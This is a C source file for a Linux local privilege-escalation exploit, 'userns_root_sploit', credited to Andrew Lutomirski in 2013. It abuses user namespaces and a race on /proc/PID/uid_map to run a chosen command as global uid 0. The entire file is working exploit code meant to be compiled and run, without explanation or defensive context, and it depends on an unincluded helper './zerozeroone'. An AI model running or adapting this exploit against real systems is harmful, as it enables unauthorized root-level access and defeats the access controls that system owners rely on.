/* userns_root_sploit.c by */ /* Copyright (c) 2013 Andrew Lutomirski. All rights reserved. */ /* You may use, modify, and redistribute this code under the GPLv2. */ #define _GNU_SOURCE #include <unistd.h> #include <sched.h> #include <sys/types.h> #include <sys/wait.h> #include <sys/mman.h> #include <fcntl.h> #include <stdio.h> #include <string.h> #include <err.h> #include <linux/futex.h> #include <errno.h> #include <unistd.h> #include <sys/syscall.h> #ifndef CLONE_NEWUSER #define CLONE_NEWUSER 0x10000000 #endif pid_t parent; int *ftx; int childfn() { int fd; char buf[128]; if (syscall(SYS_futex, ftx, FUTEX_WAIT, 0, 0, 0, 0) == -1 && errno != EWOULDBLOCK) err(1, "futex"); sprintf(buf, "/proc/%ld/uid_map", (long)parent); fd = open(buf, O_RDWR | O_CLOEXEC); if (fd == -1) err(1, "open %s", buf); if (dup2(fd, 1) != 1) err(1, "dup2"); // Write something like "0 0 1" to stdout with elevated capabilities. execl("./zerozeroone", "./zerozeroone"); return 0; } int main(int argc, char **argv) { int dummy, status; pid_t child; if (argc < 2) { printf("usage: userns_root_sploit COMMAND ARGS...\n\n" "This will run a command as (global) uid 0 but no capabilities.\n"); return 1; } ftx = mmap(0, sizeof(int), PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS, -1, 0); if (ftx == MAP_FAILED) err(1, "mmap"); parent = getpid(); if (signal(SIGCHLD, SIG_DFL) != 0) err(1, "signal"); child = fork(); if (child == -1) err(1, "fork"); if (child == 0) return childfn(); *ftx = 1; if (syscall(SYS_futex, ftx, FUTEX_WAKE, 1, 0, 0, 0) != 0) err(1, "futex"); if (unshare(CLONE_NEWUSER) != 0) err(1, "unshare(CLONE_NEWUSER)"); if (wait(&status) != child) err(1, "wait"); if (!WIFEXITED(status) || WEXITSTATUS(status) != 0) errx(1, "child failed"); if (setresuid(0, 0, 0) != 0) err(1, "setresuid"); execvp(argv[1], argv+1); err(1, argv[1]); return 0; }